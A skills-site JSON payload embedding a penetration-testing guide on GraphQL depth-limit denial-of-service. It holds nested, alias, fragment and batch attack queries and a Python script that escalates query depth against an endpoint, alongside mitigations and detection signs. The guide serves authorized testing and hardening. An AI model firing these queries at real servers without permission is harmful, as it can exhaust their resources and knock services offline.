[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFT5Y5TX2QX1EB1RZTBY85":3,"skill-same:01M6AFT5Y5TX2QX1EB1RZTBY85":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":40,"linkOnly":41,"markdownContent":42,"markdownBody":43,"frontMatter":44,"refName":58,"commitSha":59,"skillDirectory":60,"forksCount":61,"repositoryHtmlUrl":62,"repositoryHomepageUrl":63,"ownerHtmlUrl":64,"ownerBlogUrl":65,"ownerDescription":66,"updatedAt":67,"install":68,"resources":81},"01M6AFT5Y5TX2QX1EB1RZTBY85","performing-graphql-depth-limit-attack",null,"Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"GraphQL","performing graphql depth limit attack","testing","security","cybersecurity","vulnerabilities","test","pr","api-security","penetration-testing","t1059","depth-limit","denial-of-service","nested-queries","query-complexity","resource-exhaustion","2026-11-10 10:12:30",false,"---\nname: performing-graphql-depth-limit-attack\ndescription: Execute and test GraphQL depth limit attacks using deeply nested recursive\n  queries to identify denial-of-service vulnerabilities in GraphQL APIs.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- graphql\n- depth-limit\n- denial-of-service\n- nested-queries\n- api-security\n- query-complexity\n- resource-exhaustion\n- penetration-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n---\n\n# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n","# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n",{"name":5,"tags":45,"author":47,"domain":28,"license":15,"version":48,"nist_csf":49,"subdomain":32,"description":7,"mitre_attack":54},[46,35,36,37,32,38,39,33],"graphql","mahipal","1.0",[50,51,52,53],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[55,56,57],"T1190","T1059.007","T1552.001","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-graphql-depth-limit-attack",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-depth-limit-attack",{"tool":74,"command":75},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-depth-limit-attack",{"tool":77,"command":78},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-depth-limit-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",true,[82,87,93],{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FLICENSE",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fapi-reference.md","REFERENCE","参考文档",1667,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Freferences\u002Fapi-reference.md",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fagent.py","SCRIPT","脚本",6969,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Fscripts\u002Fagent.py",[100,127,151,176,202,228],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":109,"publishedAt":40},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[106],{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[110,111,112,113,27,28,114,115,31,116,117,118,119,120,121,122,123,124,125,126],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":134,"publishedAt":40},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[133],{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},[135,123,136,137,27,138,28,31,139,140,141,142,143,144,145,146,147,148,149,150],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":159,"publishedAt":40},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates 